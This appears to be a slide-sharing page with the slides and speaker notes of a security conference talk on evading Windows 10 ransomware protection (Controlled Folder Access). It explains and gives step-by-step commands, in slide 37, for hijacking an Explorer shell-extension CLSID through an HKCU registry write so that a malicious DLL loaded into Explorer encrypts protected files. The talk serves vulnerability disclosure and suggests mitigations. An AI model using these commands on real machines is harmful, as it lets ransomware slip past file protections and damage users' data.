Recommended
More Related Content
What's hot
What's hot (20)
Similar to An inconvenient truth: Evading the Ransomware Protection in windows 10 @ HackMiami
Similar to An inconvenient truth: Evading the Ransomware Protection in windows 10 @ HackMiami (20)
Recently uploaded
Recently uploaded (20)
An inconvenient truth: Evading the Ransomware Protection in windows 10 @ HackMiami
- 1. An Inconvenient Truth: Evading the Ransomware Protection in Windows 10
- 2. My Profile 1992 ~ 2015 software developer of Windows. 2015 ~ security researcher - 2016 AVTOKYO - 2017 BSides Las Vegas - 2018 GrrCON - 2018 ToorCon - 2018 DerbyCon - 2018 AVTOKYO 2018 ~ BSides Tokyo Organizer - 2018 first BSides in East Asia SOYA AOYAMA Researcher @ Fujitsu System Integration Laboratories Ltd Organizer @ BSides Tokyo
- 3. History 2016 2017 2018 2019 Research the jump the AirGap BSides Las Vegas
- 4. May 12, 2017
- 5. May 12, 2017
- 7. TANMAY GANACHARYA Principal Group Manager, Windows Defender Research Ransomware protection on Windows 10 For end users, the dreaded ransom note announces that ransomware has already taken their files hostage: documents, precious photos and videos, and other important files encrypted. On Windows 10 Fall Creators Update, a new feature helps stop ransomware from accessing important files in real-time, even if it manages to infect the computer. When enabled, Controlled folder access locks down folders, allowing only authorized apps to access files. https://www.microsoft.com/security/blog/2017/10/23/ stopping-ransomware-where-it-counts-protecting- your-data-with-controlled-folder-access/
- 10. The truth is …
- 11. DEMO 1
- 12. Windows system folders are NOT protected by default.
- 14. The truth is …
- 15. DEMO 2
- 17. apps folders Ransomware protection Mechanism allowed apps cmdExplorer Protected folders Documents Pictures PowerShell System32
- 18. You ain’t Seen nothin' yet!
- 19. app folders Simple Idea allowed apps cmdExplorer Protected folders Documents Pictures PowerShell System32
- 20. YAGO JESUS MICROSOFT ANTI RANSOMWARE BYPASS By default, Office executables are included in the whitelist so these programs could make changes in protected folders without restrictions. This access level is granted even if a malicious user uses OLE/COM objects to drive Office executables programmatically. So a Ransomware developer could adapt their software to use OLE objects to change / delete / encrypt files invisibly for the files owner http://www.securitybydefault.com/2018/01/microsoft-anti-ransomware-bypass-not.html
- 21. My method is …
- 22. DEMO 3
- 23. Only using a registry
- 26. • HKCR = HKLM Software Classes + HKCU Software Classes • HKLM Software Classes < HKCU Software Classes (In case of duplication)
- 27. {90AA3A4E-1CBA-4233-B8BB-535773D48449} • HKLMSOFTWARE Classes CLSID • HKCU Software Classes CLSID
- 28. HKCR %SysteRoot%system32shell32.dll Explorer.exe Shell32.dll HKCU HKLM %SysteRoot%system32shell32.dll Malicious.dll User’s Files ServerShareMalicious.dll ServerShareMalicious.dll File encryption process Sharing File
- 29. How about other antimalware application?
- 35. No antimalware application can block my malware
- 36. I submitted the vulnerability report to MSRC
- 37. This is revenge • Step-by-step instructions to reproduce the issue on a fresh install 1. Put the malicious dll on shared file server. (10.0.1.40shareAnti-ControlledFolderAccess.dll) 2. Start the cmd.exe on target PC. (An administrator privilege is NOT required) 3. Execute the following command. 4. Start the procexp.exe on target PC. reg add HKCUSoftwareClassesCLSID{90AA3A4E-1CBA-4233-B8BB-535773D48449} InprocServer32 /f /ve /t REG_SZ /d 10.0.1.40tmpAnti-ControlledFolderAccess.dll taskkill /IM explorer.exe /F start explorer.exe
- 39. Microsoft Security Servicing Criteria for Windows Security boundaries Security Boundary SecurityGoal Network boundary An unauthorized network endpoint cannot access or tamper with the code and data on a customer’s device. Kernel boundary A non-administrative user mode process cannot access or tamper with kernel code and data. Administrator-to-kernel is not a security boundary. Process boundary An unauthorized user mode process cannot access or tamper with the code and data of another process. AppContainer sandbox boundary An AppContainer-based sandbox process cannot access or tamper with code and data outside of the sandbox based on the container capabilities User boundary A user cannot access or tamper with the code and data of another user without being authorized. Session boundary A user logon session cannot access or tamper with another user logon session without being authorized. Web browser boundary An unauthorized website cannot violate the same-origin policy, nor can it access or tamper with the native code and data of the Microsoft Edge web browser sandbox. Virtual machine boundary An unauthorized Hyper-V guest virtual machine cannot access or tamper with the code and data of another guest virtual machine; this includes Hyper-V Isolated Containers. Virtual Secure Mode boundary Data and code within a VSM trustlet or enclave cannot be accessed or tampered with by code executing outside of the VSM trustlet or enclave.
- 40. NOT covered by active bug bounty programs. Defense-in-depth security features Security feature Security Goal User Account Control (UAC) Prevent unwanted system-wide changes (files, registry, etc) without administrator consent AppLocker Prevent unauthorized applications from executing Controlled Folder Access Protect access and modification to controlled folders from apps that may be malicious Mark of the Web (MOTW) Prevent active content download from the web from elevating privileges when viewed locally Kernel Address Space Layout Randomization (KASLR) The layout of the kernel virtual address space is not predictable to an attacker (on 64- bit) Control Flow Guard (CFG) CFG protected code can only make indirect calls to valid indirect call targets Windows Defender Exploit Guard (WDEG) Allow apps to enable additional defense-in-depth exploit mitigation features that make it more difficult to exploit vulnerabilities Protected Process Light (PPL) Prevent non-administrative non-PPL processes from accessing or tampering with code and data in a PPL process via open process functions Shielded Virtual Machines Help protect a VM’s secrets and its data against malicious fabric admins or malware running on the host from both runtime and offline attacks https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria
- 41. I can - Escalate privileges to administrator - Evading the Ransomware Protection By inject to Explorer
- 42. I’d like to suggest to Microsoft -Load only the signed dll -Implement the ControlledDllLoad mechanism
Editor's Notes
- Hello everyone. Today, I’ll give a presentation about… "Evading the Ransomware Protection in Windows 10" This is an inconvenient truth for Microsoft. I’ll be happy to answer any questions… at the end of my talk. ⏎
- First, let me introduce myself. I’m Soya Aoyama. I’m security researcher @ Fujitsu System Integration Laboratories Limited, and organizer @ B-Sides Tokyo. I’ve been working for Fujitsu more than 20 years… as Windows software developer. I wrote NDIS drivers, Bluetooth profiles, Winsock applications, and more. I’ve started security research… about 4 years ago. My first presentation was @ AV-TOKYO. It’s one of the most famous security conference in Japan, and the motto is “no drink, no hack.”. So, I gave a presentation while drinking. To be honest, I’d like to do the same today, but I refrain from it. ⏎
- This is the history of my research. 3 years ago, I was researching the jump the Air-Gap by Wi-Fi. I needed administrator privileges… to change the Wi-Fi settings. I replaced the OneDrive’s dll with malicious one, and injected malicious program into Explorer. The program injected itself into another application, and got administrator privileges. 2 years ago, I talked about the method @ B-Sides Las Vegas. And now, I found the way to evading the Ransomware Protection in Windows 10… using malicious dll. I’ll explain the contents from now. ⏎
- May 12, 2017… Do you remember? ⏎
- Yes. It’s the day of cyber-attack by Wanna-Cry. Wanna-Cry caused tremendous damage… all over the world. ⏎
- Microsoft gave one answer against ransomware, such as Wanna-Cry. It’s literally... ⏎
- Ransomware protection!! This is part of a quote from a Microsoft blog. Actually, there is more description. I didn’t want to read it, so I examined the actual behavior. I’ll explain about the behavior of "Ransomware protection", and the minor issues found during the examination. ⏎
- This is “Ransomware protection” screen… in Windows Defender Security Center. Ransomware protection is off by default, and if you turn it on, ⏎ “Protected folders” and “allow an app through Controlled folder access” are displayed. We’ll look at each item in detail. ⏎
- First, It’s the “Protected folders”. You can add the folder… that you want to protect. And this is a list of folders protected by default. Documents, Pictures, Videos, Music, Desktop and Favorites. Just a moment. ⏎ There is phrase of… “Windows system folders are protected by default” here. The system folder is usually “c:\windows\system32”. However, the folder is not included in this list. ⏎
- What is the truth? I’ll show you in demonstration from now. [DEMO 1] The truth is… ⏎
- What is the truth? I’ll show you in demonstration from now. [DEMO 1] The truth is… ⏎
- Windows system folder is not protected by default. I think that Microsoft should rewrite… the “Windows system folder” to “user data folder”. ⏎
- Next, It’s “Allow an app through Controlled folder access”. You can add the application… that you want to allow access to “Protected Folder”. Unlike the previous screen, there is no default list. Just a moment. ⏎ There is phrase of… “Apps determined by Microsoft as friendly are always allowed“ here. What application is the friendly? According to previous demonstration, we knew that PowerShell is not covered. It seems… that not all applications of Microsoft are included in the “friendly”. Then what about third-party applications? ⏎
- What is the truth? I’ll show you in demonstration from now. [DEMO 2] The truth is… ⏎
- What is the truth? I’ll show you in demonstration from now. [DEMO 1] The truth is… ⏎
- Microsoft only knows. ⏎
- This is the mechanism of Ransomware protection. All applications have access to all folders… by default. When administrator enables “controlled folder access”, ⏎ Only “allowed apps” can become access “protected folders”, and other apps cannot become access these. ⏎ Administrator can add apps to “allowed apps”, ⏎ and folders to “protected folders”. ⏎
- You Ain’t Seen Nothin’ Yet! Now, I found a vulnerability of “Ransomware protection”. ⏎
- This idea is very simple. ⏎ We can probably access the “protected folders”… by injecting malware into the “allowed apps”. ⏎
- As I thought there was similar research. Yago’s idea is using Microsoft Office. He succeeded in accessing the protected folders… using an OLE object… with embedded malware. ⏎
- What is my method? I’ll show you in demonstration from now. [DEMO 3] My method is… ⏎
- What is the truth? I’ll show you in demonstration from now. [DEMO 1] The truth is… ⏎
- Just use a registry. I will explain the mechanism. ⏎
- Needless to say, It’s registry. There is a shell extension list, loads by Explorer. This time, ⏎ I used this GUID. ⏎
- The actual value of GUID is under HKCR. It’s shell32.dll. ⏎
- About HKCR is written on Windows Dev Center. Simply speaking, HKCR is that merges HKLM with HKCU, and HKCU takes precedence from HKLM. You need administrator privileges… to change the value of HKLM, unlike HKCU. This means… that you can overwrite rewritable values by administrator privileges… with rewritable values by user privileges. Is this a bug? Wrong. For example, Explorer is assigned as the default application… for decompress zip files. However, you may want to use a different application like 7zip. There is this registry for its assignment. This time, I abuse this specification. ⏎
- In this case of this GUID, there is a dll information in HKLM, but not in HKCU. So, if we write another value to HKCU, we can change value of HKCR. ⏎
- This is the file encryption process. Normally, the value in HKLM is reflected in HKCR, Explorer reads it, and loads correct dll. However, we can write a path of malicious dll in HKCU… with user privileges, ⏎ and its value is reflected in HKCR. ⏎ Explorer reads it, and loads malicious dll. ⏎ As a result, ⏎ the malicious DLL loaded into Explorer, can encrypt the user files. ⏎
- We understood about the “Ransomware protection” of Windows 10. Then, how about others anti-malware application? ⏎
- A bit old information, this is a Market share of Windows anti-malware application vendors. ⏎ There are Avast, E-set, Malwarebytes, McAfee, and more. I checked several anti-malware applications. ⏎
- First, It’s Avast Internet Security. It has ⏎ the “Ransomware Shield”. However, ⏎ my malicious dll was able to encrypt the text file… without being protected. ⏎
- Next, It’s E-SET Smart security. It has ⏎ the “Ransomware Shield”. However, ⏎ It’s the same result. ⏎
- Next, It’s Malwarebytes Premium. It has ⏎ the “Ransomware Protection”. However, ⏎ It’s the same result. ⏎
- Next, It’s McAfee Total Protection. It has ⏎ the “Ransomware Interceptor”. However, ⏎ It’s the same result. ⏎
- As far as I’ve checked, anti-malware applications cannot protect my ransomware. Of course, there may be applications that can be protected at this time. ⏎
- 3 years ago, I submitted a vulnerability report… to the Microsoft Security Response Center… about being able to inject into Explorer… using OneDrive’s problem. Because I thought it very dangerous vulnerability, and I wanted a little pocket money. However, MSRC said… they do not have to pay the reward. ⏎
- This is revenge. Unlike the last time, it’s a basic problem of Windows 10 about registry. The result is… ⏎
- As I thought, it was the same answer. ⏎ Because, this does not meet the bar for security servicing. ⏎
- I cannot receive reward every time, so I examined the bar for security servicing. Certainly, this problem does not seem to meet it. ⏎
- Moreover, ⏎ It was written… that “Controlled Folder Access” is not covered by the Bug Bounty program. Cannot help it. I’ll give up on the reward money anymore. ⏎
- However, by inject to Explorer, “Escalate privileges to administrator”, and “Evading the Ransomware Protection” are an unwavering fact. Is it okay to leave the problem? ⏎
- Therefore, I’d like to suggest the following implementation to Microsoft… as one of the defense-in-depth security features. First, it’s to load only the signed dll. This means that prevents the loading of the tampered dll. The other is to implement the “Controlled dll load” mechanism. This means that user select the DLL… that the process can load, like “Controlled Folder Access”. I think that Microsoft needs to take action as soon as possible, as it does anything. ⏎
- OK, my presentation is over. Thank you very much.